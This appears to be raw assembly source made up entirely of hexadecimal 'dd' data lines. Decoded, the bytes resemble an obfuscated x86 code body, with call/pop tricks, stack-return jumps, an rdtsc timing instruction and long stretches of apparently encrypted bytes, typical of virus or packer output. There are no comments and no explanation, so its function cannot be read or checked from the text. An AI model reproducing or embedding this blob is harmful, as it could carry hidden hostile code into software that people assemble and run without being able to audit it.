		dd 0EA3DC351h, 89FCD6F3h, 2811A9B5h, 0F5B5FF06h, 89062BA3h
		dd 28023585h, 0F0B56806h, 0ECB3DEC9h, 4A240481h, 6A215513h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 145DC355h, 0D08160CEh, 3BBA8F91h,	7D5B509h
		dd 8D610628h, 2BA3FD85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0D25F34E7h, 5F502A06h
		dd 52505050h, 0B287E9BFh, 66310F27h, 5A3D89BFh,	4895B58h
		dd 8840F24h, 53000000h,	860Fh, 0FF5F0000h, 28176D95h, 6A61FC06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 72A7C351h, 0DBBF0F83h, 113D85C7h,	30628h
		dd 0B5B70000h, 0A3FDBD83h, 0F00062Bh, 6184h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 12E950ECh, 0CB000000h, 44C8DD43h, 0C26DE6E4h, 0E2B09C02h
		dd 65FB2A1Bh, 42E95B02h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 552AC357h
		dd 72BBAF45h, 66527722h, 3050F88Bh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0BD8D29C0h,	6A062807h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 256BC350h, 12715FE9h, 31E401C2h, 28070D85h
		dd 3DBD8306h, 3062811h,	3DD850Fh, 8B0F0000h, 0Eh, 0C9BD3160h
		dd 89062814h, 28124DBDh, 9D8B6106h, 62819E1h, 0A3FDBD83h
		dd 0F00062Bh, 3B684h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0BC7D12DAh, 0F9B58929h
		dd 81062802h, 37BDD3E3h, 0FDB5FF22h, 66062BA3h,	0FF43C1BBh
		dd 280E9595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 55FBBA53h, 0A86EF82Ch, 21BD8B33h
		dd 8B062802h, 2BA3F1B5h, 858B6006h, 628273Dh, 106C761h
		dd 6A000100h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 9DEEC356h, 0B6C03AECh,	1FD93B6Ch
		dd 0F961AB3h, 484h, 42BB6600h, 870F50FEh, 2, 6A96F98Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 8CB0C357h, 0F7F7560h, 68Dh, 0A9958900h, 0FC06282Dh
		dd 0A3FDB5FFh, 6A062Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 5B00EFC3h, 8D9A6699h, 1F799D89h
		dd 820F0628h, 3, 0F8FA8B66h, 201995FFh,	7E90628h, 52000000h
		dd 87417C7Dh, 0B58B1159h, 62BA3F1h, 17D5858Bh, 9D8B0628h
		dd 62833A1h, 0C48689h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BD8B7DC3h, 62816A1h
		dd 715958Bh, 0C2830628h, 0BD8B6004h, 628293Dh, 9E9h, 21FFE700h
		dd 2E0C2833h, 8961813Ch, 6A2050h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0FB3EBBC3h, 81661329h
		dd 0E92F35D7h, 0Eh, 0F4022A90h,	58B9C9B2h, 7F3ED737h, 858DB321h
		dd 62BB8D9h, 1880Fh, 89FC0000h,	0B886h,	0AE800h, 0CFF40000h
		dd 7E891926h, 461F3091h, 0E298531h, 6A5F0628h, 61958900h
		dd 0FF062820h, 2BA3FDB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 7E6B9DE7h
		dd 41B52903h, 0FF062826h, 282CD195h, 0C7816606h, 0BF506754h
		dd 590D9385h, 8A243489h, 0FDB5FFDAh, 6A062BA3h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0AF83C351h, 35C2FE6Ah, 0CA208CF0h, 29B995FFh, 6A0628h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0ED1655C3h, 3860FE3h, 80000000h, 0BD8370E3h,	6280C55h
		dd 65840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 7856C353h, 14E854B6h
		dd 0B8000000h, 4237DD80h, 0F6781626h, 25E66C73h, 417ADE66h
		dd 8B465295h, 281FB59Dh, 0B3965F06h, 8C0F5080h,	18h, 13E9h
		dd 0A9AB8F00h, 6515CD7Ch, 28A058FCh, 2E7163D3h,	8C67024Fh
		dd 0F88B6696h
		dd 0A3FDB5FFh, 8166062Bh, 0FFD2CBEBh, 28228595h, 0CEBB6606h
		dd 599D8B30h, 0FF062829h, 2BA3FDB5h, 8D850106h,	0FF062816h
		dd 2810C195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 83983BCDh, 281861BDh, 840F0206h
		dd 4Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h
		dd 0FBC35545h, 0D2035939h, 223D8501h, 858B0628h, 6281259h
		dd 2345B529h, 8D290628h, 6282F71h, 0F0000C6h, 0E89h, 95096000h
		dd 62820BDh, 5599D29h, 0C7610628h, 28130585h, 6, 5DBD8900h
		dd 0E906282Fh, 0FFFFF465h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 3DC35141h, 78E8D59Ch,	8E848h,	89D40000h
		dd 7D15D5E3h, 2B607E55h, 28000595h, 0CDBD0106h,	61062803h
		dd 6AC18B5Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 94D0C351h, 686EB86Dh, 0C5BD0B58h
		dd 0E9062834h, 6, 5CAC590Ch, 9EE90000h,	8E000005h, 464AC7BDh
		dd 0F9FD7A78h, 0AAAE2B2Dh, 6165E2D8h, 16199694h, 0AEAC7948h
		dd 645E2D31h, 1618E3E7h, 0CBC59599h, 3298284Eh,	795F14EAh
		dd 0E046BB8Eh, 3DF11610h, 0F1F57270h, 4E022721h, 0AB5F847Eh
		dd 397415DDh, 62DAFE04h, 75FDD7FCh, 53857F4Fh, 0F4F48886h
		dd 0EBE5B53Bh, 3B0A306Eh, 98681C41h, 2B91799Eh,	0F4F6C197h
		dd 0A6A87377h, 4FECD81h, 575F2BDFh, 73232BF1h, 258B4D7Fh
		dd 0B47E4C00h, 0D9C1E6E8h, 0EE824E73h, 9D317B35h, 91935EE4h
		dd 7C401014h, 74CD03Ah,	897B1F87h, 0DFDABDBh, 0E2D6FB61h
		dd 7F73FC3Fh, 0D9FEF8C7h, 33585A25h, 0AC32EB4Fh, 0D2BADFE1h
		dd 0A15A566Ch, 319E5524h, 4B173DBBh, 4BB1AF7Dh,	45C27426h
		dd 832DAD74h, 5024ED1Dh, 13429D34h, 4B937Fh, 0E0C00000h
		dd 0FDF11610h, 7F7393D9h, 0FECBF1FDh, 0B36C6C00h, 312F4336h
		dd 173BBh, 0E0A00000h, 3BEF1412h, 964A6F6Dh, 3C62CEC4h
		dd 14DD716Fh, 8309C23Ah, 2090EDB5h, 0D12B3BC8h,	379D0305h
		dd 22E6B6BAh, 35227670h, 34B1174Fh, 0B380A6CBh,	939349AFh
		dd 0E3A57F73h, 0DC70587Dh, 163B3906h, 2A909462h, 7F7393F2h
		dd 395EC486h, 93B8BA85h, 0F04C10DFh, 5CDA261Dh,	7B2F54BAh
		dd 0A58DB2ACh, 6D27E042h, 4BD18A28h, 0EAE4B47Eh, 0FA77DDC5h
		dd 72C26F6h, 197F8753h,	7F73A4C3h, 1E18E775h, 45AB11F9h
		dd 2EE72D20h, 3164D8B1h, 0BEDEBBh, 12360000h, 0FC300982h
		dd 0ADE87C5Dh, 0A91513E0h, 57552349h, 0D84A32h,	347F7393h
		dd 6115DE72h, 0BA6E9395h, 13C7ECEEh, 0AEB07C46h, 163BA189h
		dd 5C16CF31h, 13D38C04h, 8B1F21EDh, 7EEAE8B5h, 0FE58445Ah
		dd 6AFE1F06h, 7A784549h, 0D9CFA155h, 0C27BC1B4h, 31A24445h
		dd 0A772BBh, 0E09F0000h, 73A90F13h, 57F7393h, 46441143h
		dd 3C07BBE0h, 0A26A8C70h, 48AE85AEh, 0A79D6F23h, 3901CE82h
		dd 184B96Ch, 0D4F95F13h, 1AD48DEFh, 9D2145B7h, 6563317Ah
		dd 72285840h, 6262F680h, 8C5623A9h, 0ED59BFC1h,	0BD4623C9h
		dd 63F7589Bh, 0FDE0442h, 9C02F015h, 7F73817Ch, 9ED036F8h
		dd 43FD3D1h, 0EF1412E0h, 9D3BA101h, 977F7393h, 0E82B41D5h
		dd 107F7393h, 0ABA97644h, 9A6C2045h, 93E0389Eh,	0D2947F73h
		dd 0FF63476Ch, 6A768C46h, 9374A40Ah, 72007F73h,	0AD41A7A5h
		dd 277F4ADh, 0B4BB312Fh, 1, 4614E0E1h, 6E567B79h, 5F2FE308h
		dd 0E0744065h, 0D3D5A127h, 0A6936656h, 0E0F112D6h, 683EF281h
		dd 8FF5DD02h, 0D29DC323h, 0D4CE9ED0h, 1D33C7AFh, 755BAAF2h
		dd 9F8DB274h, 8BB0AA79h, 69390FA3h, 1EEEF26Fh, 0A071925Ah
		dd 248A1E0Eh, 0DCCB0BFFh, 4CBE795Bh, 33585A26h,	90B5AF7Fh
		dd 0AEAE42A8h, 0D99F6FF5h, 2CA90F09h, 9E72CAEEh, 0D5B1A7A0h
		dd 75A50B05h, 0DFD1E797h, 7147DB5Ah, 0CE82A7A1h, 6E6838FEh
		dd 8FF56149h, 795BBC49h, 9EC329EBh, 89551BEAh, 48FC2187h
		dd 0E4E6B17Bh, 4C71D7BFh, 924C0567h, 0BC7B9F4Dh, 2674C86Ch
		dd 27E0E074h, 5AD7D1A1h, 59851A5Fh, 12F9CC1h, 0F4C90000h
		dd 32980421h, 755B5E9Fh, 2C1A3F01h, 362D2808h, 80145EB0h
		dd 63E0DAAAh, 2F2FFF25h, 5BB513C9h, 0FD632579h,	865CF0D8h
		dd 0E397BCB6h, 87AD1913h, 5F28BCBAh, 0BB41FA98h, 7974F1EBh
		dd 0C1595500h, 5BB6h, 46A6E300h, 739338E0h, 0E2AE3C7Fh
		dd 6DD3BBE0h, 1D4217D9h, 93AD4BB1h, 5C7FF73h, 0FECCF2E0h
		dd 5FF3DB00h, 73939349h, 0DE97FBFFh, 0DFAE976Ch, 0AD137FE5h
		dd 7F73934Fh, 69AF1575h, 0B7F7393h, 9759B549h, 6449072Bh
		dd 95BB61C7h, 0FBBD7F73h, 0CA09D4CBh, 8E0E1536h, 15000000h
		dd 0B8AE80A6h, 5517AB93h, 8FF56182h, 755BB44Ch,	53072CEEh
		dd 0CE0C8983h, 0B8DDDBA8h, 96663CD0h, 4E83779Ch, 6A795B8Dh
		dd 0C7799E9Ch, 28879755h, 0FACCFEDCh, 7A18DF04h, 716B3BC1h
		dd 9BFE644Ch, 2AFA8039h, 0F0C3B330h, 0E10767D3h, 7B7D4913h
		dd 74086E56h, 77BA7D5Eh, 90B57773h, 0ED120CDCh,	0B71D7D21h
		dd 7326AE61h, 0BDB38513h, 0AC3C357h, 0AF3C264Ah, 0DA11DA4Eh
		dd 94B18446h, 86D9C228h, 19DB790Ah, 6C385E9Ch, 0C95D456Ah
		dd 0FE21F48Eh, 73934098h, 0CC32F47Fh, 0CE1FA60h, 5113755Fh
		dd 0AEA8782Ch, 0EDBCE242h, 145B81F3h, 1BDD795Fh, 92626687h
		dd 547F7398h, 36C7D878h, 0AF7F05BEh, 643438B5h,	0ABD0D29Eh
		dd 84385DC3h, 8850B6B2h, 0AC1FDEC8h, 285CBAEAh,	649BE096h
		dd 790DD9FEh, 706A3AC0h, 0C18FB5F3h, 89592FC3h,	0DB36A8Fh
		dd 0BA000000h, 38E046A6h, 3C7F7393h, 6AB7E67Ah,	0F4190FE0h
		dd 51767040h, 0ABD0D29Dh, 92E28F7h, 658A8855h, 0C1E6E4B1h
		dd 20453B0Dh, 799EA06Ch, 0D4F9F7C5h, 4EC83FFh, 51241C89h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 4895C24h, 0E3895324h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 56241489h,	782DBA52h
		dd 7FBE62A6h, 31648AFFh, 0F0895AD6h, 148B545Eh,	4C48124h
		dd 83000000h, 48904ECh,	8428F24h, 5A2434FFh, 4C481h, 48B0000h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FBF2F8E9h
		dd 0EF96B9FFh, 0FA118AFCh, 8D6D5379h, 8C68B8C3h, 0C503062Ch
		dd 1ECE0FFh, 0D6AB2398h, 4E147CE6h, 858D15EFh, 6282C05h
		dd 10E850FCh, 29000000h, 4C4EA8C3h, 0C1D1B63Fh,	1AC9B553h
		dd 0E9AA0E77h, 12h, 6C9E99E3h, 38961863h, 5BD92F9Fh, 3340FF40h
		dd 895B5C19h, 81662404h, 521396F7h, 35BD0360h, 8B062805h
		dd 2824B585h, 6A5B6106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0CA567320h, 386D142Ah
		dd 0BD8B006Ah, 6282491h, 6E9h, 6A2BA000h, 8DAA8282h, 2C8F3E85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0DBF86F09h, 5C08306h, 50FEBF0Fh,	0F240489h
		dd 6ADBBFh, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 19h,	0C35040h, 0EA00D883h, 10E9D8h, 139B0000h, 0C941669Eh
		dd 0BFB4C6AEh, 3DFF93BCh, 9D0B9B6Eh, 62811A1h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 25C1EBC3h, 2B235447h
		dd 0BD8BE2AFh, 6280131h, 8E8h, 33346B00h, 0D95CD2CDh, 0B185897Ah
		dd 5B062822h, 243195FFh, 6A0628h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0ECDE80C3h, 1477A06Dh
		dd 0F38D8D78h, 8B062B94h, 280849BDh, 6AD1FF06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0CD20C356h, 3EDEC2F1h, 0BD831EA0h, 6282415h,	9C850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 318DC355h, 0A3A2F948h,	164D8529h
		dd 8B660628h, 819D8BFAh, 6A062816h, 12E902h, 83C00000h
		dd 0AFB4B618h, 4BB1CF15h, 25EDD846h, 0CE20703Bh, 24048950h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B5C35141h
		dd 269AC935h, 8229B83Eh, 0D195FF7Fh, 6A06282Ch,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0FC80C352h, 3CB1C6A5h, 0E9FEBF0Fh, 0DC7h, 0E8h, 0ED815D00h
		dd 62C8F48h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0EEC35040h, 0CF81663Dh,	858D155Eh, 62B85B0h, 17158D89h
		dd 57500628h, 310F5250h, 5E8h, 61D2D000h, 5A5BAEF1h, 4895B58h
		dd 61BD2B24h, 64062833h, 35FFh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 5213AFC3h
		dd 70C56A64h, 0D0B70F60h, 0DC59D0Bh, 64610628h,	2589h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 36E594C3h, 0BE99C3E8h, 0BD012B18h, 628069Dh
		dd 165985FFh, 9D310628h, 62821C9h, 6AFF6Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 3DC087C3h
		dd 0EDB0CDF9h, 0B5FFDCCDh, 6281819h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 28C35040h, 0B84F44C1h, 9D298620h
		dd 6281E9Dh, 2DC195FFh,	23E90628h, 8B000001h, 2820819Dh
		dd 0F00B006h, 0C8Eh, 7E900h, 0A95A0000h, 0A19E14ADh, 0F70E66Eh
		dd 684h, 499D8B00h, 0E4062818h,	0CF816671h, 613CC493h
		dd 0EC830Fh, 0B60F0000h, 0D58D89C8h, 8B062826h,	280971BDh
		dd 6BA06h, 9D090000h, 6281925h,	9D8BC18Bh, 6283339h, 8904E8C1h
		dd 28268995h, 0E2F76606h, 8B665352h, 2B5B5BFAh,	13E9C8h
		dd 0CB8A0000h, 0C663B256h, 571F87D7h, 0BA8FC788h, 51354D7Fh
		dd 4CF8194h, 8B794D4Bh,	8E9D1h,	89510000h, 28047DBDh, 858B5B06h
		dd 6282ADDh, 0C0836BB3h, 0C083F907h, 0AE900h, 7A370000h
		dd 0FCFCE970h, 0CB049E01h, 830FD03Bh, 14h, 3890Fh, 0C7800000h
		dd 54E927h, 66520000h, 5F549CBBh, 2B398D8Bh, 0D88B0628h
		dd 332DBD03h, 0E1830628h, 37840F01h, 8B000000h,	39A583F9h
		dd 0FE06282Bh, 919D8B60h, 0E8062818h, 7, 8E412593h, 0B04CA5C2h
		dd 89615A3Ah, 282ADD95h, 6860F06h, 8B000000h, 2822D9BDh
		dd 0E906h, 0B58D0000h, 62BF4DBh, 19299D8Bh, 6A0628h, 166D8D09h
		dd 95FF0628h, 6280465h,	0BE940B3h, 6E000000h, 0FC1E07BEh
		dd 8FDCF62Bh, 56B9DE79h, 1000008h, 280D35B5h, 0FCE18306h
		dd 2DB1BD33h, 6AFC0628h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0AC09C351h,	6AC02BF5h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 229AC352h, 65F12677h, 0CFEA01D0h,	0BAF98B66h
		dd 0
		dd 33ADFE8Bh, 3E8D1C2h,	4E983D0h, 6AF475h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0DC9B26C3h
		dd 0F1BD89E2h, 6A06282Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 7E7BC355h, 2C6C4193h
		dd 880D5741h, 9000000h,	282539B5h, 15958B06h, 1062807h
		dd 2820A19Dh, 89BD8B06h, 8B062814h, 2821BD8Dh, 0DFB70F06h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	8B665818h
		dd 56006AD8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 43F0B2C5h, 831BB870h, 2825A1BDh,	840F0006h
		dd 81h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 0EAC35646h, 0B8F9FFh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3AEEC350h
		dd 9E457A1Ah, 897B1760h, 280FDDBDh, 6E8D8D06h, 8B06284Fh
		dd 2828ED9Dh, 6AE1FF06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0F57C355h, 482h, 3CBF6600h
		dd 3DBD8340h, 62811h, 47E840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0C3D519C3h
		dd 66501AB4h, 835BD98Bh, 28113DBDh, 840F0106h, 467h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 92C35242h, 0BB66F8F1h
		dd 11E8F7B5h, 52000000h, 57458DE7h, 0A3A12D6Eh,	0A9046414h
		dd 81E81427h, 1E89BD33h, 835B0628h, 28113DBDh, 860F0306h
		dd 3E5h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0C2C35646h, 5CCB0834h, 70429180h, 19B53101h, 8B062809h
		dd 2806359Dh, 9D8B6006h, 62801ADh, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 205DC356h, 0BDBD2BB5h, 80062824h, 6A04E1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0A1D80AC3h
		dd 4919D0Bh, 0C90A0628h, 11D840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0E3B157C3h
		dd 0D6F3EA3Dh, 870FD919h, 6, 11999D8Bh,	0BD0B0628h, 62822C1h
		dd 24C9858Bh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 607526C3h, 9E9h,	978E7C00h, 0CB4D0D96h
		dd 88B9E963h, 61776315h, 4A1BD8Bh, 85330628h, 6282D05h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8AC35646h
		dd 0A5BF909Eh, 50772B6Fh, 8B90F88Bh, 281741BDh,	8A006A06h
		dd 0D1F168DDh, 0FB8BB15Ch, 0E240481h, 0B74EC232h, 6D95FF40h
		dd 0BB062817h, 580C0797h, 0A3FD8589h, 6A062Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0E70C8FC3h, 9952ED7h, 55BF6670h, 203E9C9h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 70D4DCC3h, 0DCF781A3h, 8B4DBEA6h, 2BA3F585h,	7DBD8B06h
		dd 0C706281Dh, 1800h, 0FFB70F00h, 0A3F9B58Bh, 6A062Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 8361F4C3h, 9ACB84Bh,	28128D9Dh, 0BD8D2906h, 8B062803h
		dd 282B6585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0E5BEDC77h, 0BE7B9358h, 0F98B668Ah
		dd 85890689h, 6281825h,	24C9858Bh, 8E0F0628h, 18h, 13E9h
		dd 0B4255C00h, 2B67E54h, 0CDB17908h, 0A413A9F8h, 10C7D3ECh
		dd 81044689h, 81086E7h,	6651507Fh, 5B0775BBh, 6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0ABE6C357h, 99C95256h, 0FE954h, 7FA80000h
		dd 9D1D106Bh, 0AE391619h, 9832CB76h, 0F5B5FFA1h, 8B062BA3h
		dd 0DABF0FDFh, 4E8h, 1F03FF00h,	5E800h,	69510000h, 0E9CEEC31h
		dd 13h,	3227E7DCh, 0DF1F7FFCh, 79D5EFE5h, 935D4744h, 5F6F792Eh
		dd 24448B50h, 0CE804h, 0F0FB0000h, 1A8D7A92h, 0FB025B33h
		dd 0BB66F0DDh, 8B5FD38Bh, 7E95600h, 0C6000000h,	395096A0h
		dd 895FAA90h, 0F042444h, 28Dh, 58FE8B00h, 43D78166h, 0FD858DA3h
		dd 6A062BA3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 7D9BC355h, 3CDCA8Bh, 1F68BBA6h
		dd 68B0Fh, 95890000h, 6282CD9h,	9E96090h, 8000000h, 0E7FE09EBh
		dd 2C3A90A9h, 0EE9h, 8177700h, 323C1174h, 238C41B3h, 61DC4163h
		dd 0BE950h, 34200000h, 952AD556h, 65F7A0EDh, 8B609086h
		dd 280251BDh, 61F58A06h, 176D95FFh, 8B660628h, 958961D9h
		dd 6282691h, 6E8h, 8C6A5500h, 0F8977602h, 3D85C75Bh, 3062811h
		dd 81000000h, 7CD55EC7h, 0FDBD831Ch, 62BA3h, 2B840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BF6685C3h, 21E9E880h, 89000000h, 281D7D9Dh,	0C305006h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0F88B6651h
		dd 0CC4ABB5Bh, 0BD830097h, 628113Dh, 71850F03h,	31000004h
		dd 280671BDh, 0FDBD8306h, 62BA3h, 45E840Fh, 13E90000h
		dd 0EC000000h, 5914E67Dh, 9F852250h, 89D57F92h,	0EBF81F82h
		dd 0B5FFFD59h, 62BA3FDh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0B5C35747h, 0F6E51CFh, 0F98BFABFh, 0FFFFB70Fh
		dd 280E9595h, 219D8B06h, 5306281Dh, 11BD8B53h, 5B062814h
		dd 0F1B58B5Fh, 6A062BA3h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 5075C350h, 0AE92D0Eh
		dd 46000000h, 0E33EF3B2h, 5412BB20h, 106C7CCh, 6A000100h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 3CEBC356h, 4EB3F12Ch, 0B5891E25h,	6282659h
		dd 13E960h, 12C10000h, 1D6C4072h, 0D10567C1h, 0AA21A476h
		dd 8CB62088h, 8E850AEh,	4D000000h, 21D29071h, 5B4F6188h
		dd 8D896159h, 6280665h,	2CABF96h, 8B503D84h, 0B5FF96FEh
		dd 62BA3FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	38C35343h, 3D9D3368h, 0FF062823h, 28201995h, 8B5B5706h
		dd 2BA3F1B5h, 359D2306h, 8B062813h, 2817D585h, 0C4868906h
		dd 66000000h, 665488BBh, 9086F781h, 715958Bh, 6A0628h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 3ECB12C3h, 0C7BF4C0Bh, 664534EBh, 834C2ABBh,	0D78104C2h
		dd 745DE706h, 6A205089h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0C61AC357h,	2D468678h
		dd 0FEBF0FC9h, 799589h,	858D0628h, 62BB8D9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 15C35040h
		dd 28B2AD87h, 6830F35h,	31000000h, 281D7DBDh, 0F3816606h
		dd 506019D4h, 47D850Bh,	665A0628h, 0CB48D081h, 0B8868961h
		dd 6A000000h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0E90E0473h, 0Ch, 868A5BBBh, 1EA202C0h
		dd 0C2A9F9D1h, 0FFFABF0Fh, 2BA3FDB5h, 7E906h, 0E4BB0000h
		dd 609D1AEFh, 2DB5091Ch, 0FF062821h, 282CD195h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0C7B2933h, 0CE8160B3h, 41D4687Fh, 878DE9BBh,	5650617Eh
		dd 895B8EB7h, 81662434h, 0FF67E9D3h, 2BA3FDB5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 75AF147Ch, 29A8DEA4h, 281825B5h, 0B995FF06h,	6A062829h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 392EC353h, 0E2F80056h, 0A88440BBh, 0D5952967h
		dd 83062818h, 280C55BDh, 840F0006h, 59h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 0EDC35242h, 0F05AF32Eh
		dd 0B6579D3Bh, 75BD8BB9h, 9606280Ch, 14E9h, 0DBFCAE00h
		dd 3CFF70Ah, 7EAB8EA8h,	0BF42E643h, 0ED778FBAh,	0E99650BAh
		dd 7, 4F479681h, 8BD0F7A5h, 28180D9Dh, 0FDB5FF06h, 0E9062BA3h
		dd 0Eh,	657C8148h, 0A8689EBDh, 0F7BB63BDh, 95FFAD96h, 6282285h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 10C35646h
		dd 16C5488Dh, 51BD8B1Dh, 0FF06280Fh, 2BA3FDB5h,	3D9D8B06h
		dd 0FF062804h, 2810C195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0FBB70FAAh
		dd 1861BD83h, 0F020628h, 5D84h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0F07D7EBDh
		dd 5E9h, 87F4FD00h, 0EB808812h,	59858B49h, 89062812h, 280BFD95h
		dd 0C606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	42C35545h, 4D66D2FFh, 85C7D7B6h, 6281305h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A7C35040h
